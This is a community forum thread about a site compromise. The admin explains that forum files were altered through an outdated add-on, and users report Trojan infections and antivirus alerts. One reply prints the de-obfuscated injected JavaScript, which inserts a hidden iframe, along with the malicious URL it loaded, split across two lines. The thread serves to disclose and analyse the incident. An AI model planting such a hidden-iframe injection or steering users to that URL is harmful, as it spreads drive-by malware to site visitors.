Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Site Issues


Marsh
 Share

Recommended Posts

As some of you know we have been experiencing some site issues today. I have done my best to fix the ones that i have noticed thus far but if anything is displaying errors or working improperly please let me know immediately.

Looks like some of the forum files have been modified without my knowledge to include some odd script. I have changed the password and currently am the only person with access. Though i am currently not sure if the changes were made with a Login or an exploit. So if anything pops up please pm me. 

[Update]

Think i found out how they got in. Looks like it was the old Eclipse chan april fools joke. That thing is crazy outdated and was still running for old times sake.

[Update 2]

Two people so far have reported being infected with a Trojan around the time of the attack. Please scan your computer for viruses. You will most likely not be effected if you were not online at the time the site was acting strangely.

Please download Microsoft Security Essentials or your preferred virus scanner and run a scan.

http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?name=Trojan%3aJS%2fBlacoleRef.T&threatid=2147652755

Sorry for the inconvenience. The important thing is we dont blame Eclipse ;)
Link to comment
Share on other sites

  • Replies 94
  • Created
  • Last Reply

Top Posters In This Topic

The script injects an invisible iframe into the site.

Basically de-obfusticated it does this:
```
if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'SEE SPOILER FOR URL');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

```
Here's the url it goes to, on two lines. Don't blame me if something happens for visiting it:

>! http://novikk
oll.in/in.cgi?default
Link to comment
Share on other sites

I always keep this site opened up on my pc and I noticed I kept getting logged out yesterday. Just thought it was me so I read this and ran my virus scanner and it found 3 traces of a trojan virus. removed them successfully  hope all is good now =)

EDIT: my anti-malware program keeps blocking that noviak website when i go to the main eclipse page though =/ I don't like to keep it running causes it slows my pc down but I will until it is fixed =p
Link to comment
Share on other sites

I got some virus alerts on the site. My first thought = 'Robin's Trying to Steal Our Info!!!'
But as it seems, everything's gonna be ok.
I assume that it is safe to still be here if I have MSE and it seems to be catching the viruses?
Link to comment
Share on other sites

@Dreams:

> I got some virus alerts on the site. My first thought = 'Robin's Trying to Steal Our Info!!!'
> But as it seems, everything's gonna be ok.
> I assume that it is safe to still be here if I have MSE and it seems to be catching the viruses?

Your information is worthless to me. I already have everything I'd need if I wanted to sell your personal information.
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share


×
×
  • Create New...